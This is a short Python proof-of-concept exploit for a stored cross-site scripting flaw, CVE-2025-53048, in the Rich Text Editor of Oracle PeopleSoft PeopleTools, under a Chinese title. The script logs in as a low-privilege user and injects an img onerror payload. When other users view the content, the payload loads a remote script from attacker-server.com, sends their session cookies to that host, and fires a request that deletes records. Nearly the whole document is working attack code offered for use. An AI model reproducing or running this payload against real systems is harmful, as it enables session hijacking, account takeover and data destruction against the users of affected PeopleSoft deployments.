CVE-2025-53048 Oracle PeopleSoft PeopleTools 富文本编辑器漏洞

# CVE-2025-53048 - Oracle PeopleSoft PeopleTools Rich Text Editor XSS PoC # This PoC demonstrates the XSS vulnerability in the Rich Text Editor component # Affected versions: 8.60, 8.61, 8.62 import requests from urllib.parse import urljoin TARGET_URL = "https://target-peoplesoft-server:port" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_xss(): """ Exploit the Rich Text Editor XSS vulnerability in PeopleSoft PeopleTools. The vulnerability allows injecting malicious scripts through the RTE component that will be executed when other users view the affected content. """ session = requests.Session() # Step 1: Authenticate to PeopleSoft with low-privilege credentials login_url = urljoin(TARGET_URL, "/psc/ps/EMPLOYEE/CRM/c/NUI_FRAMEWORK.PT_LANDINGPAGE.GBL") login_data = { "userid": USERNAME, "pwd": PASSWORD, "ptmode": "F" } session.post(login_url, data=login_data) # Step 2: Navigate to a page with Rich Text Editor rte_url = urljoin(TARGET_URL, "/psc/ps/EMPLOYEE/CRM/c/CONTENT.MANAGEMENT.GBL") # Step 3: Inject malicious payload through the Rich Text Editor # The RTE fails to properly sanitize HTML/JavaScript content xss_payload = { "content": """<img src=x onerror=" var s=document.createElement('script'); s.src='https://attacker-server.com/steal.js'; document.body.appendChild(s); // Exfiltrate session cookies new Image().src='https://attacker-server.com/collect?c='+document.cookie; // Perform unauthorized actions fetch('/psc/ps/EMPLOYEE/CRM/c/DATA.UPDATE.GBL', { method:'POST', body:new URLSearchParams({action:'delete',id:'target_record'}) }); ">""", "submit": "Save" } response = session.post(rte_url, data=xss_payload) if response.status_code == 200: print("[+] Malicious content injected successfully") print("[+] Payload will execute when other users view this content") return True else: print(f"[-] Failed to inject payload. Status: {response.status_code}") return False if __name__ == "__main__": exploit_xss()